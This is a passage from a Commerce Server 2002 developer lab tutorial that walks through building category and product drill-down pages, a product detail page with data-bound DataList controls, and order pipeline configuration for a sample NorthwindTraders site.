    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Display Name.
    Formatted Form | Select this option to get the DataBinder.Eval(), or formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "DisplayName")
  7. Click Copy and then click Close.
  8. Click the HyperLink control in the Item Templates section.
  9. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  10. In the sidingTypeLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to indicate that you want to edit the DataBinding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click on editing box, and then click Paste to create the following expression: DataBinder.Eval(Container.DataItem, "DisplayName").
  11. Click OK.
  12. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  13. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that Catalog System is selected.
    Data Source tree view | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Category Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "CategoryName").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and then add the following text: "ProductList.aspx?CategoryID={0}" (Be sure to include the quotation marks.)
    • The expression should look like the following:

      DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}")

  14. Click Copy and then click Close.
  15. Click the HyperLink control in the Item Templates section.
  16. In the Properties window, select the Databindings check box, and then click the ellipsis [...] button.
  17. In the sidingTypeLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").
  18. Click OK.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, right-click the sidingTypeDataList, and then click End Template Editing.

Now you will add HyperLink controls and use Databinding expressions for both sidingMaingFreeDataList and electricDataList.

To create hyperlinks for the DataList items

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, right-click the sidingMainFreeDataList, select Edit Template, and then click Item Templates.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  4. In the Properties window, make sure the control you just created is selected, and then in the ID box, type sidingMainFreeLink.
  5. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  6. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Display Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "DisplayName")
  7. Click Copy and then click Close.
  8. Click the HyperLink control in the Item Templates section.
  9. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  10. In the sidingMainFreeLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "DisplayName").
  11. Click OK.
  12. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  13. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source tree view | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Category Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "CategoryName").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and add the following text: "ProductList.aspx?CategoryID={0}" (Be sure to include the quotation marks.)
    • The expression should look like the following:

      DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").

  14. Click Copy and then click Close.
  15. Click the HyperLink control in the Item Templates section.
  16. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  17. In the sidingMainFreeLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").
  18. Click OK.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, right-click sidingMainFreeDataList, and then click End Template Editing.
  20. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, right-click electricDataList, select Edit Template, and then click Item Templates.
  21. Click View on the toolbar, and then click Toolbox.
  22. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  23. In the Properties window, make sure the control you just created is selected, and then in the ID box, type electricLink.
  24. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  25. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Display Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "DisplayName")
  26. Click Copy and then click Close.
  27. Click the HyperLink control in the Item Templates section.
  28. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  29. In the electricLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item option from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "DisplayName").
  30. Click OK.
  31. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  32. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Category Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "CategoryName").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and add the following text: "ProductList.aspx?CategoryID={0}" (Be sure to include the quotations marks.)
    • The expression should look like the following:

      DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").

  33. Click Copy and then click Close.
  34. Click the HyperLink control in the Item Templates section.
  35. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  36. In the electricLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").
  37. Click OK.
  38. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, right-click electricDataList, and then click End Template Editing.

Note

  • After you have created DataList controls, you initiate the DataBind control whenever the page is loaded. We will now link the DataLink controls to their respective data in the Page_Load() event handler.

To populate controls from Commerce Server data

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx.cs window, in the using section, add the following code:
    using System.Web.UI;
using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;
  2. Add the following code in the Page_Load() event handler to initialize controls on the Web form with their respective data:
    ProductCatalog catalog = CommerceContext.Current.CatalogSystem.GetCatalog("BuildingMaterials1033");
if (!IsPostBack)
{
   // Set category name for lookup.  Note how commerce server builds a
   // path to the category name based upon the Base catalog it comes
   // from.
   string catName = "SidingType(ResidentialSiding)";

   // Extract the DataSet with the properties for the category in it.
   DataSet ds = catalog.GetCategory(catName).GetCategoryProperties();

   // Extract the category display name.
   sidingTypeLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   // Now, configure the sidingTypeDataList so that it will pull
   // the correct fields to populate it and then initiate a bind on it.
   sidingTypeDataList.DataSource = catalog.GetCategory(catName).GetChildCategories();
   sidingTypeDataList.DataBind();

   // Do it again for the MaintenanceFree category header.
   catName = "MaintenanceFree(ResidentialSiding)";
   ds = catalog.GetCategory(catName).GetCategoryProperties();
   sidingMainFreeLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   sidingMainFreeDataList.DataSource = catalog.GetCategory(catName).GetChildCategories();
   sidingMainFreeDataList.DataBind();

   // Do it again for the Electrical category header.
   catName = "ElectricProducts(Electrical)";
   ds = catalog.GetCategory(catName).GetCategoryProperties();
   electricLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   electricDataList.DataSource = catalog.GetCategory(catName).GetChildCategories();
   electricDataList.DataBind();
}

To add the Web User control to the Default page

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.acsx window, in the Solution Explorer window, double-click Default.aspx, and then drag and drop the _Menu.ascx page onto the default Web page.
  2. Right-click the Default.aspx page, and then click Set as Start Page.
  3. Click F5 to run your project.

Notes

  • The links are not functioning currently; we will fix them in the next exercise.
  • If you receive an error about not being able to reformat the page because of a line number, ignore it.


Step 10: Implement Product Drill-down

After you have implemented product category drill-down functionality, you add the product drill-down functionality to display the product hierarchy to users on your Web site.

In this step you will create a Web Form and DataList items with bindings to retrieve dynamic data from the Commerce Server catalog database.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type ProductList.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductList.aspx window, click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the form.
  8. In the Properties window, make sure the object you just created is selected, and then in the ID box, type categoryNameLabel.
  9. In the Toolbox window, in the Web Forms, drag and drop DataList object onto the form.
  10. In the Properties window, make sure the object you just created is selected, and then in the ID box, type productDataList.
  11. Right-click productDataList, select Edit Template, and then click Item Templates.
  12. Click View on the toolbar, and then click Toolbox.
  13. In the Toolbox window, in the Web Forms, drag and drop an Image object onto the Item Template section of the DataList control.
  14. In the Properties window, make sure the object you just created is selected, and then in the ID box, type productImage.
  15. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  16. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Catalogs, expand BuildingMaterials1033, and then select Image.
    Formatted Form | Select this option to get the expression DataBinder.Eval(), or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem,"Image").
  17. Click Copy and then click Close.
  18. Click the Image object in the Item Templates section.
  19. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  20. In the productLink Databindings dialog box, do the following:
    Use this | To do this
    ImageUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem,"Image").
  21. Click OK.
  22. Click the Image object in the Item Templates section.
  23. In the Properties window, do the following:
    Use this | To do this
    Height | Type 63.
    Width | Type 47.
  24. Click View on the toolbar, and then click Toolbox.
  25. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  26. In the Properties window, make sure you the control you just created is selected, and then in the ID box, type productLink.
  27. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  28. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Catalogs, expand BuildingMaterials1033, and then select Name.
    Formatted Form | Select this option to get the expression DataBinder.Eval(), or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "Name").
  29. Click Copy and then click Close.
  30. Click the HyperLink control in the Item Templates section.
  31. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  32. In the productLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "Name").
  33. Click OK.
  34. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  35. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Catalogs, expand BuildingMaterials1033, and then select ProductID.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "ProductID").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and add the following text: "ProductDetail.aspx?ProductID={0}" (Be sure to include the quotation marks.)
    • The expression should look like the following:

    DataBinder.Eval(Container.DataItem, "ProductID"," ProductDetail.aspx?ProductID={0}" ).
  36. Click Copy and then click Close.
  37. Click the HyperLink control in the Item Templates section.
  38. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  39. In the productLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "ProductID"," ProductDetail.aspx?ProductID={0}" ).
  40. Click OK.
  41. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductList.aspx window, right-click productDataList, and then click End Template Editing.

Note

  • After you have created the DataList controls, you initiate the DataBind whenever the page is loaded. We will now link the DataLink controls to their respective data in the Page_Load() event handler.
  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductList.aspx.cs window, in the using section, add the following code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;
  2. Add the following code in the Page_Load() event handler to initialize controls on the Web form with their respective data:
    ProductCatalog catalog = CommerceContext.Current.CatalogSystem.GetCatalog("BuildingMaterials1033");
if (!IsPostBack)
{
   // Set category name for lookup.
   string catName = Request.Params["CategoryID"];

   // Extract the DataSet with the properties for the
   // category in it.
   DataSet ds = catalog.GetCategory(catName).GetCategoryProperties();

   // Extract the category display name.
   categoryNameLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   // Now, let's go find the products that are part of the category
   // we are currently trying to browse and initiate a databind.
   ds = catalog.GetCategory(catName).GetProducts();
   productDataList.DataSource = ds;
   productDataList.DataBind();
}

You should now have a product list, and can test the drill-down functionality.

Notes

  • On the ProductList.aspx page, you must have a parameter indicating the category to be displayed.
  • Leave the starting page set to the Default.aspx.


Step 11: Implement Product Detail Page

In this step you will create a page to display detailed information about a selected product including product variants such as multiple color selection for the selected siding.

You will create another Web Form, add controls, and assign properties to populate the controls from the Commerce Server 2002 catalog database.

You can either add item content to DataList/DataGrid/Repeater controls or manually populate the fields by extracting data from the dataset to display content on the Product Detail page. Label and image controls cannot be directly pointed to a data source and depend on their parent control for information.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type ProductDetail.aspx, and then click Open.
  6. Click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms, drag and drop a DataList control onto the form.
  8. In the Properties window, make sure the control you just created is selected, and then in the ID property box type coreProdInfoDataList.
  9. Right-click coreProdInfoDataList, select Edit Template, and then click Item Templates.
  10. Click View on the toolbar, and then click Toolbox.
  11. In the Toolbox window, in the Web Forms, drag and drop an Image object onto the Item Template section of the DataList control.
  12. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type productImage.
    Height | Type 250.
    Width | Type 187
    (Databindings) | Click the ellipsis [...] button.
  13. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    ImageUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "Image").
  14. Click OK.
  15. Place the cursor next to the Image object in the Item Template section of the DataList control, press ENTER to add an additional line, and then type Name: .
  16. Click View on the toolbar, and then click Toolbox.
  17. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  18. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type nameLabel.
    (Databindings) | Click the ellipsis[...] button.
  19. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to indicate that you want to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "Name").
  20. Click OK.
  21. Place the cursor next to the Label object in the Item Template section of the DataList control, press ENTER to add an additional line, and then type Price:.
  22. Click View on the toolbar, and then click Toolbox.
  23. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the Item Template section of the DataList control.
  24. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type priceLabel.
    (Databindings) | Click the ellipsis [...] button.
  25. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "cy_list_price","{0:c}").
  26. Click OK.
  27. Place the cursor next to the last Label object in the Item Template section of the DataList control, press Enter to add an additional line, and then type Description:.
  28. Click View on the toolbar, and then click Toolbox.
  29. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  30. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type descriptionLabel.
    (Databindings) | Click the ellipsis [...] button.
  31. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the DataBinding expression. You can use the editing box to create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "description").
  32. Click OK.
  33. Click View on the toolbar, and then click Toolbox.
  34. In the Toolbox window, in the Web Forms, drag and drop a DataList control onto the form.
  35. In the Properties window, make sure the control you just created is selected, and then in the ID property box type sidingProductInfoDataList.
  36. Right-click sidingProductInfoDataList, select Edit Template, and then click Item Templates.
  37. Place the cursor in the Item Template section of the DataList control, type Siding Information: ,press Enter to add an additional line, and then type Description:.
  38. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  39. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingTypeLabel.
    (Databindings) | Click the ellipsis [...] button.
  40. In the sidingTypeLabel Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "SidingType").
  41. Click OK.
  42. Place the cursor next to the last Label object in the Item Template section of the DataList control, press Enter to add an additional line, type Maintenance Free?: , and then press ENTER again.
  43. Click View on the toolbar, and then click Toolbox.
  44. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  45. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type mainFreeLabel.
    (Databindings) | Click the ellipsis [...] button.
  46. In the mainFreeLabel Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "SidingMaintenanceFree").
  47. Click OK.
  48. Place the cursor next to the Label object in the Item Template section of the DataList control, press Enter to add an additional line, and then type Siding Warranty: .
  49. Click View on the toolbar, and then click Toolbox.
  50. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  51. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingWarrantyLabel.
    (Databindings) | Click the ellipsis [...] button.
  52. In the sidingWarrantyLabel Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. You can use the editing box to create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "sidingWarrantyLengthYears").
  53. Click OK.
  54. Place the cursor next to the Label object in the Item Template section of the DataList control, press Enter to add an additional line, and then type Years .
  55. Right-click the DataList, and then click End Template Editing.
  56. Click View on the toolbar, and then click Toolbox.
  57. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the form.
  58. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingColorLabel.
    Text | Type siding Color: .
  59. In the Toolbox window, in the Web Forms, drag and drop a DropDownList object onto the form.
  60. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingColorList
    DataTextField | Type SidingColor.
    DataValueField | Type SKU.
  61. In the Toolbox window, in the Web Forms list, drag and drop a Button object onto the form.
  62. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type addToCartBtn.
    Text | Type Add To Cart >>.
  63. Double-click the Add to Cart >> button.
  64. Add the following code to the _Click method:
    if (defName.Trim().ToLower().Equals("electrical"))
{
   Response.Redirect("AddToBasket.aspx?ProductID=" + prodId.Value);
}
else
{
   Response.Redirect("AddToBasket.aspx?ProductID=" +
            prodId.Value + "&SKU=" + sidingColorList.SelectedItem.Value);
}
  65. In the Solution Explorer window, click View Designer.
  66. Click View on the toolbar, and then click Toolbox.
  67. In the Toolbox window, in the HTML list, drag and drop a Hidden object onto the form.
  68. In the Properties window, make sure the object you just created is selected, and then in the ID property box type prodId.
  69. Right-click the page, and then click View HTML Source.
  70. In the html, locate the line <INPUT style="Z-INDEX........id="prodId">, and then add the runat attribute and set its value to server. (runat="server")
  71. Right-click on the page, and then select View Design.
  72. In the Solution Explorer window, click View Code.
  73. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductDetail.aspx.cs window, in the using section, add the following code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;
  74. In the public class ProductDetail : System.Web.UI.Page section, add the following protected variables:
    protected string prodId;
protected string defName;
  75. In the Page_Load() method, add the following code:
    ProductCatalog catalog = CommerceContext.Current.CatalogSystem.GetCatalog("BuildingMaterials1033");

// Set product ID for lookup.
string prodName = Request.Params["ProductID"];
Product prod = catalog.GetProduct(prodName);

// Extract the DataSet with the properties for the
// category in it.
DataSet ds = prod.GetProductProperties();
// Extract the product definition.  If the definition matches our
// custom product definition (ResidentialSiding), we process one way.
// If it matches "Electrical" it is the one we imported from
// electrical.xml so process it as just having basic information.
defName = (string)ds.Tables[0].Rows[0]["DefinitionName"];
if (!IsPostBack)
{
   // We have to check and see what type of product we
   // are dealing with and enable fields on the form
   // accordingly.
   sidingProdInfoDataList.DataSource = null;
   coreProdInfoDataList.DataSource = ds;
   coreProdInfoDataList.DataBind();
   prodId.Value = (string)ds.Tables[0].Rows[0]["ProductID"];
   if (defName.Trim().ToLower().Equals("electrical"))
   {
      // An electrical product
      sidingProdInfoDataList.Visible = false;
      sidingColorLabel.Visible = false;
      sidingColorList.Visible = false;
   }
   else
   {
      // A siding product
      // Populate the siding-specific data
      // list with data.
      sidingProdInfoDataList.Visible = true;
      sidingProdInfoDataList.DataSource = ds;
      sidingProdInfoDataList.DataBind();
      sidingColorList.Visible = true;
      sidingColorLabel.Visible = true;
      sidingColorList.DataSource = prod.GetVariants();
      sidingColorList.DataBind();

   }
}


Lab 3: Implementing the Basket and Order Pipelines

In the lab you will learn how to configure Commerce Server 2002 pipeline components and create order basket, check-out, and order confirmation pages. After completing this lab you will be able to do the following:

  • Configure Commerce Server 2002 pipelines in the Web.Config file.
  • Add shipping methods using Commerce Server 2002 Business Desk.

Programmatically do the following with Commerce Server 2002 Base Class Libraries (BCLs):

  • Add items to the basket
  • View the basket
  • Add shipping addresses to user profiles
  • Run pipelines
  • Complete an order

This lab contains:

  • Step 1: Implement Header Control for Page Navigation
  • Step 2: Implement the AddtoBasket.aspx Page
  • Step 3: Implement the Basket.aspx Page
  • Step 4: Implement the Checkout.aspx Page
  • Step 5: Implement the OrderConfirmation.aspx Page


Step 1: Implement Header Control for Page Navigation

In the step you will configure project files for the entire lab and create a header control for navigation throughout your Web site. The header control will automatically configure itself based upon AuthManager information that checks the authentication status of a user on your Web site.

In this step you will do the following:

  1. Using Orders in Business Desk, you will also create a shipping method, which is required to complete the user check-out process.
  2. Copy Commerce Server 2002 pipeline components.
  3. Create a pipeline logging directory.
  4. Edit the Web.Config file to enable Commerce Server 2002 pipelines.
  5. Create the control and input the *.ASCX HTML code.
  6. Enter Commerce Server namespace information.
  7. Insert class-wide variable declarations.
  8. Update the _header.ascx.cs file.
  9. Add a stylesheet to the Web site.
  10. Add the stylesheet throughout the entire Web site.
  11. Add the header control to the pages throughout the Web site.

To create a shipping method

To edit the Web.Config file

To create the control in the *.ASCX HTML code

To insert the Commerce Server classes

To insert class-wide variable declarations

To update the _header.ascx.cs file

To add the stylesheet to the site

To add the stylesheet throughout the site

To add the header to all of the pages on the site

To create a shipping method

  1. Open the NorthwindTraders Business Desk.
  2. In Orders, click Shipping Methods.
  3. In the Shipping Methods screen, click Add on the toolbar, and then select Charge by Subtotal from the drop-down list.
  4. In the Charge by Subtotal - New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select English – United States from the drop-down list.
    Name | Type Flat Fee Express.
    Enabled | Select this check box to enable the shipping method.
  5. In the Rates section, and then do the following:
    Use this | To do this
    Price, up to | Select over 0, and then click Edit.
    Shipping Rate | Type 15.
  6. Click Accept.
  7. To save the shipping method and return to the Shipping Methods screen, click Save and go back on the toolbar.

The charge by subtotal shipping method is saved.

To edit the Web.Config file

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, double-click Web.config.
  5. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Web.config window, locate the <pipelines> tag, press ENTER to insert a new line, and then enter the following code:
                <pipeline
                name="basket"
                path="pipelines\basket.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true" />

            <pipeline
                name="checkout"
                path="pipelines\checkout.pcf"
                transacted="true"
                type="OrderPipeline"
                loggingEnabled="true" />

            <pipeline
                name="total"
                path="pipelines\total.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true" />

            <pipeline
                name="advertising"
                path="pipelines\advertising.pcf"
                transacted="false"
                type="CSFPipeline" />

            <pipeline
                name="discounts"
                path="pipelines\discounts.pcf"
                transacted="false"
                type="CSFPipeline" />

            <pipeline
                name="recordevent"
                path="pipelines\recordevent.pcf"
                transacted="false"
                type="CSFPipeline" />
  6. Remove comment tags around the <caches> record to enable caches that will be used with the pipeline components.

To create the control in the *.ASCX HTML code

